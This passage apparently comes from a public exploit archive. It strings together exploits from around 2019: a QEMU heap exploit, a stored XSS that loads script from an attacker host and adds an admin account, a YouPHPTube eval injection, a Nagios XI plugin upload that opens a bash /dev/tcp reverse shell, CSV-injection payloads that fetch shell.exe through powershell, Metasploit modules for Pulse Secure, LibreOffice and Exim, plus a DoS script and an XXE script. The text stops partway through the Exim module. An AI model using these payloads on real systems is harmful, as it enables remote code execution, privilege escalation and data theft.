m_len -= (0x8 - addrlen);
}
size_t vuln_id = id++;
memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
pkt_len = 0xc90;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
send_pkt(pkt,frame_length);
memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
pkt_len = 0x8;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
send_pkt(pkt,frame_length);
// Underflow and write to change m_data
char addr_buf[0x8] = {0};
if (addrlen != 0x8) {
memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
} else {
memcpy(addr_buf,(char *)&addr,8);
}
send_ip4(target_id, 0x8, addr_buf, 0x1);
if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
die("socket() failed to obtain a receive socket descriptor");
send_ip4(replay_id, 0x8, NULL, 0x20);
recv_leaks();
char zero[0x28] = {0};
spray_id = rand() & 0xffff;
printf("Cleaning Heap\n");
arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20);
}
void pwn() {
char payload[0x200] = {0};
struct QEMUTimerList *tl = (struct QEMUTimerList *)payload;
struct QEMUTimer *ts =
(struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList));
char cmd[] = "/usr/bin/gnome-calculator";
memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \
+sizeof(struct QEMUTimer )), \
(void *)cmd,sizeof(cmd));
void * fake_timer_list = code_leak + FAKE_STRUCT;
void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList);
void *system = code_leak + SYSTEM_PLT;
void *cmd_addr = fake_timer + sizeof(struct QEMUTimer);
/* Fake Timer List */
tl->clock = (void *)(code_leak + QEMU_CLOCK);
*(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000;
tl->active_timers = fake_timer;
tl->le_next = 0x0;
tl->le_prev = 0x0;
tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB;
tl->notify_opaque = 0x0;
tl->timers_done_ev = 0x0000000100000000;
/*Fake Timer structure*/
ts->timer_list = fake_timer_list;
ts->cb = system;
ts->opaque = cmd_addr;
ts->scale = 1000000;
ts->expire_time = -1;
spray_id = rand() & 0xffff;
size_t payload_size =
sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd);
printf("Writing fake structure : %p\n",fake_timer_list);
arbitrary_write(fake_timer_list,8,payload,payload_size,0x20);
spray_id = rand() & 0xffff;
void * main_loop_tlg = code_leak + MAIN_LOOP_TLG;
printf("Overwriting main_loop_tlg %p\n",main_loop_tlg);
arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20);
}
int main() {
initialize();
leak();
pwn();
return 0;
}
# Exploit Title: Sentrifugo 3.2 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15814
Multiple Stored XSS vulnerabilities were found in Sentrifugo 3.2. In most test cases session riding was also possible by utilizing the XSS vulnerability. This potentially allows for full account takeover.
/sentrifugo/index.php/employee/edit/id/5 <--Attacker employee ID here. POC example pertains to this one.
/sentrifugo/index.php/feedforwardquestions/add
/sentrifugo/index.php/announcements/add
# Proof of Concept
A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details)
<script src="http://Attacker-IP/add-admin-user.js"></script>
Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.
A few crafting notes:
- 'employeeId' - this can be found in the users profile.
- 'employeeNumId' - this can be an arbitrary number as long as it does not exist.
- 'emprole' - in this test case '2_1' was the Administrator role
- 'emp_status_id' - based off "Contractor", "Full-Time", etc. Contractor is '6' in this case.
- 'emailaddress' - by default the initial password is sent via email, so this will need to be valid in order to login.
----------------------------------------------------------------------------------------------------
function execute()
{
var nuri ="http://10.42.1.42/sentrifugo/index.php/employee/add";
xhttp = new XMLHttpRequest();
xhttp.open("POST", nuri, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.withCredentials = "true";
var body = "";
body += "\r\n\r\n";
body +=
"id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" +
"&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&emailaddress=bob%40localhost.com" +
"&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=07%2F04%2F2019&submit=Save";
xhttp.send(body);
return true;
}
execute();
----------------------------------------------------------------------------------------------------
When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent.
Other session riding request that can possibly be crafted:
- Company Announcement - gets blasted out to all users. Also has an additional XSS vuln in the description.
- Add Employee Leave - this one is tricky to craft due to needed parameter knowledge.
- Background check - update or add employee background check status.
- Disciplinary Actions - manipulate existent or non-existent disciplinary records.
# Exploit Title: YouPHPTube <= 7.4 - Remote Code Execution
# Google Dork: intext:"Powered by YouPHPTube"
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://www.youphptube.com/
# Version: <= 7.4
# Tested on: Ubuntu 18.04.1
YouPHPTube before 7.5 does no checks at all if you wanna generate a new
config file. We can use this to generate our own config file with our
own (malicious) code.
All you need is a MySQL server that allows remote connections.
Fixed by the following commit:
https://github.com/YouPHPTube/YouPHPTube/commit/b32b410c9191c3c5db888514c29d7921f124d883
Proof-of-Concept:
# Run this command (with your own data replaced)
# Then visit https://domain.tld/?zerodayslol=phpinfo() for code execution!
curl -s "https://domain.tld/install/checkConfiguration.php" --data "contactEmail=rce@zerodays.lol&createTables=2&mainLanguage=RCE&salt=';eval(\$_REQUEST['zerodayslol']);echo '&systemAdminPass=zerodays.LOL&systemRootPath=./&webSiteRootURL=<URL>&webSiteTitle=Zerodays.lol&databaseHost=<DB_HOST>&databaseName=<DB_NAME>&databasePass=<DB_PASS>&databasePort=<DB_PORT>&databaseUser=<DB_USER>"
# Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/
# Version: <= 2.2.18
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-1010124
The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input,
which leads to Cross-Site Scripting in the Admin Panel.
Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme
files via (for example) XHR requests with included Javascript.
Proof-of-Concept:
https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E
# Exploit Title: DomainMod <= 4.13 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://domainmod.org/
# Version: <= 4.13
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-15811
The software 'DomainMOD' is vulnerable for Cross-Site Scripting in the
file '/reporting/domains/cost-by-month.php' in the parameter 'daterange'.
As of today (30 August 2019) this issue is unfixed.
Almost all other files that use the parameter 'daterange' are vulnerable.
See: https://github.com/domainmod/domainmod/tree/master/reporting/domains
Proof-of-Concept:
https://domain.tld/reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22
# Exploit Title: VX Search Enterprise v10.4.16 DoS
# Google Dork: N/A
# Date: 17.01.2018
# Exploit Author: James Chamberlain [chumb0]
# Vendor Homepage: http://www.vxsearch.com/downloads.html
# Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe
# Version: v10.4.16
# Tested on: Windows 7 Home x86
# CVE : N/A
# Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS.
# Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default)
#!/usr/bin/python
import socket
pwnd = "A" * 5000
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.50.133', 80))
buf = ""
buf += "GET / HTTP/1.1" + "\r\n"
buf += "Host: 192.168.50.133\r\n"
buf += "User-Agent: " + pwnd + "r\n"
buf += "\r\n\r\n"
s.send(buf)
s.close()
# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure - System file leak',
'Description' => %q{
Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
This exploit reads /etc/passwd as a proof of concept
This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
},
'References' =>
[
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
],
'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
))
end
def run()
print_good("Checking target...")
res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)
if res && res.code == 200
print_good("Target is Vulnerable!")
data = res.body
current_host = datastore['RHOST']
filename = "msf_sslwebsession_"+current_host+".bin"
File.delete(filename) if File.exist?(filename)
file_local_write(filename, data)
print_good("Parsing file.......")
parse()
else
if(res && res.code == 404)
print_error("Target not Vulnerable")
else
print_error("Ooof, try again...")
end
end
end
def parse()
current_host = datastore['RHOST']
fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
words = 0
while (line = fileObj.gets)
printable_data = line.gsub(/[^[:print:]]/, '.')
array_data = printable_data.scan(/.{1,60}/m)
for ar in array_data
if ar != "............................................................"
print_good(ar)
end
end
#print_good(printable_data)
end
fileObj.close
end
end
# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)
# Google Dork: intitle:LISTSERV 16.5
# Date: 08-21-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: http://www.lsoft.com/
# Softwae Link: http://www.lsoft.com/products/listserv.asp
# Version: Older than Ver 16.5-2018a
# Tested on: IIS 8.5/10.0 - Firefox/Windows
# CVE : CVE-2019-15501
# Software description:
The term Listserv has been used to refer to electronic mailing list software applications in general,
but is more properly applied to a few early instances of such software, which allows a sender to send one
email to the list, and then transparently sends it on to the addresses of the subscribers to the list.
# POC
1. http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>
2. http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>
# References:
1. http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501
<?php
/*
A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root.
The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins.
The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download),
is executed as root via a passwordless sudo entry; the script executes the ‘check_plugin’ executuable which is owned by the nagios user
A user logged into Nagios XI with permissions to modify plugins, or the 'nagios' user on the server,can modify the ‘check_plugin’ executable
and insert malicious commands exectuable as root.
Author: Jak Gibb (https://github.com/jakgibb/nagiosxi-root-exploit)
Date discovered: 28th July 2019
Reported to Nagios: 29th July 2019
Confirmed by Nagios: 29th July 2019
*/
$userVal = parseArgs($argv);
checkCookie();
$userVal['loginNSP'] = extractNSP($userVal['loginUrl']);
authenticate($userVal);
$userVal['pluginNSP'] = extractNSP($userVal['pluginUrl']);
uploadPayload($userVal);
triggerPayload($userVal);
function extractNSP($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);;
curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
echo "[+] Grabbing NSP from: {$url}\n";
$response = curl_exec($curl);
$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($httpCode == '200') {
echo "[+] Retrieved page contents from: {$url}\n";
} else {
echo "[+] Unable to open page: {$url} to obtain NSP\n";
exit(1);
}
$DOM = new DOMDocument();
@$DOM->loadHTML($response);
$xpath = new DOMXpath($DOM);
$input = $xpath->query('//input[@name="nsp"]');
$nsp = $input->item(0)->getAttribute('value');
if (isset($nsp)) {
echo "[+] Extracted NSP - value: {$nsp}\n";
} else {
echo "[+] Unable to obtain NSP from {$url}\n";
exit(1);
}
return $nsp;
}
function authenticate($userVal) {
$postValues = array(
'username' => $userVal['user'], 'password' => $userVal['pass'],
'pageopt' => 'login', 'nsp' => $userVal['loginNSP']
);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $userVal['loginUrl']);
curl_setopt($curl, CURLOPT_POST, TRUE);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($postValues));
curl_setopt($curl, CURLOPT_REFERER, $userVal['loginUrl']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
echo "[+] Attempting to login...\n";
curl_exec($curl);
if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '302') {
echo "[+] Authentication success\n";
} else {
echo "[+] Unable to plguin, check your credentials\n";
exit(1);
}
echo "[+] Checking we have admin rights...\n";
curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);
$response = curl_exec($curl);
$title = NULL;
$dom = new DOMDocument();
if (@$dom->loadHTML($response)) {
$dom->getElementsByTagName("title")->length > 0 ? $title = $dom->getElementsByTagName("title")->item(0)->textContent : FALSE;
}
if (strpos($title, 'Manage') !== FALSE) {
echo "[+] Admin access confirmed\n";
} else {
echo "[+] Unable to reach login page, are you admin?\n";
exit(1);
}
}
function uploadPayload($userVal) {
$payload = "-----------------------------18467633426500\nContent-Disposition: form-data; name=\"upload\"\n\n1\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"nsp\"\n\n{$userVal['pluginNSP']}\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\nContent-Type: text/plain\n\nbash -i >& /dev/tcp/{$userVal['reverseip']}/{$userVal['reverseport']} 0>&1\n-----------------------------18467633426500--\n";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
$headers = array();
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$headers[] = 'Accept-Language: en-GB,en;q=0.5';
$headers[] = 'Referer: ' . $userVal['pluginUrl'];
$headers[] = 'Content-Type: multipart/form-data; boundary=---------------------------18467633426500';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Upgrade-Insecure-Requests: 1';
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
echo "[+] Uploading payload...\n";
$response = curl_exec($curl);
$dom = new DOMDocument();
@$dom->loadHTML($response);
$upload = FALSE;
foreach ($dom->getElementsByTagName('div') as $div) {
if ($div->getAttribute('class') === 'message') {
if (strpos($div->nodeValue, 'New plugin was installed') !== FALSE) {
$upload = TRUE;
}
}
}
if ($upload) {
echo "[+] Payload uploaded\n";
} else {
echo '[+] Unable to upload payload';
exit(1);
}
}
function triggerPayload($userVal) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $userVal['profileGenUrl']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
$headers = array();
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Upgrade-Insecure-Requests: 1';
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
echo "[+] Triggering payload: if successful, a reverse shell will spawn at {$userVal['reverseip']}:{$userVal['reverseport']}\n";
curl_exec($curl);
}
function showHelp() {
echo "Usage: php exploit.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port\n";
exit(0);
}
function parseArgs($argv) {
$userVal = array();
for ($i = 1; $i < count($argv); $i++) {
if (preg_match('/^--([^=]+)=(.*)/', $argv[$i], $match)) {
$userVal[$match[1]] = $match[2];
}
}
if (!isset($userVal['host']) || !isset($userVal['ssl']) || !isset($userVal['user']) || !isset($userVal['pass']) || !isset($userVal['reverseip']) || !isset($userVal['reverseport'])) {
showHelp();
}
$userVal['ssl'] == 'true' ? $userVal['proto'] = 'https://' : $userVal['proto'] = 'http://';
$userVal['loginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/login.php';
$userVal['pluginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/admin/monitoringplugins.php';
$userVal['profileGenUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/includes/components/profile/profile.php?cmd=download';
return $userVal;
}
function checkCookie() {
if (file_exists('cookie.txt')) {
echo "cookie.txt already exists - delete prior to running";
exit(1);
}
}
# Nimble Streamer 3.0.2-2 to 3.5.4-9 - Path Traversal
# Exploit Author: MAYASEVEN
# Source at "https://mayaseven.com/nimble-directory-traversal-in-nimble-streamer-version-3-0-2-2-to-3-5-4-9/"
# Published on 08/04/2019
# Vendor Homepage at "https://wmspanel.com/nimble"
# Affected Version 3.0.2-2 to 3.5.4-9
# Tested on 3.5.4-9
# CVE-2019-11013 Nimble Streamer 3.0.2-2 to 3.5.4-9 Path Traversal
# Description: Nimble Streamer 3.0.2-2 through 3.5.4-9 has a ../ directory traversal vulnerability.
# Successful exploitation could allow an attacker to traverse the file system to access
# files or directories that are outside of the restricted directory on the remote server.
POC :
- http://somesite.com/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreOffice Macro Python Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them.
LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.
This module generates an ODT file with a dom loaded event that,
when triggered, will execute arbitrary python code and the metasploit payload.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils Emmerich', # Vulnerability discovery and PoC
'Shelby Pace', # Base module author (CVE-2018-16858), module reviewer and platform-independent code
'LoadLow', # This msf module
'Gabriel Masei' # Global events vuln. disclosure
],
'References' =>
[
[ 'CVE', '2019-9851' ],
[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
[ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
],
'DisclosureDate' => '2019-07-16',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
])
end
def gen_file
text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
py_code = Rex::Text.encode_base64(payload.encoded)
@cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
@cmd = Rex::Text.html_encode(@cmd)
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'Cannot find template file')
end
def exploit
fodt_file = gen_file
file_create(fodt_file)
end
end
# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege
# exports the data in CSV and opens that file on his machine.
# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the
# generated file, the command is executed and the shell will run open on the machine.
# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470
The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).
There is more vulnerable code in 'UserPro' core, might release that later.
As of today (25 August 2019) this issue is unfixed.
Vulnerable code: (success.php on line 36)
if (isset($_GET['error'])) {
echo 'An error occurred: ' . $_GET['error_description'];
}
> https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36
Proof-of-Concept:
https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>
# Exploit Title: Tableau XXE
# Google Dork: N/A
# Date: Reported to vendor July 2019, fix released August 2019.
# Exploit Author: Jarad Kopf
# Vendor Homepage: https://www.tableau.com/
# Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download
# Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
# Tested on: Windows
# CVE: CVE-2019-15637
#This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
#Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability
#see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py
#Unfortunately as I did not have access to the source code a lot of this couldn't really be coded.
#Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit.
#Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.
import requests
import sys
from warnings import filterwarnings
# Globals
proxy = 'http://127.0.0.1:8080'
proxies = {'http':proxy, 'https':proxy}
filterwarnings('ignore')
def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):
payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """
payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}
data = "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"
data += "\r\n"
#below will be different for each user - this is the zoneid of the dashboard you're exploiting this against
data += zoneid+ "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"
data += "\r\n"
#below will be different for each user - the name of the dashboard we have access to which we're exploiting this against
data += dashboard + "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"
data += "\r\n"
data += "false"
data += "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"
data += "\r\n"
data += payload
data += "\r\n"
data += "--"+boundary+"--"
r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False)
def main():
if len(sys.argv) != 7:
print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0]
sys.exit(-1)
target = sys.argv[1]
attackerserver = sys.argv[2]
boundary = sys.argv[3]
cookie = sys.argv[4]
zoneid = sys.argv[5]
dashboard = sys.argv[6]
xxe(target,attackerserver,boundary,cookie,zoneid,dashboard)
print "making request, make sure to catch the HTTP request!"
if __name__ == "__main__":
main()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'expect'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
Improper validation of recipient address in deliver_message()
function in /src/deliver.c may lead to command execution with root privileges
(CVE-2019-10149).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and PoC (@qualys)
'Dennis Herrmann', # Working exploit (@dhn)
'Marco Ivaldi', # Working exploit (@0xdea)
'Guillaume André' # Metasploit module (@yaumn_)
],
'DisclosureDate' => '2019-06-05',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[
'Exim 4.87 - 4.91',
lower_version: Gem::Version.new('4.87'),
upper_version: Gem::Version.new('4.91')
]
],
'DefaultOptions' =>
{
'PrependSetgid' => true,
'PrependSetuid' => true
},
'References' =>
[
[ 'CVE', '2019-10149' ],
[ 'EDB', '46996' ],
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
]
))
register_options(
[
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
])
register_advanced_options(
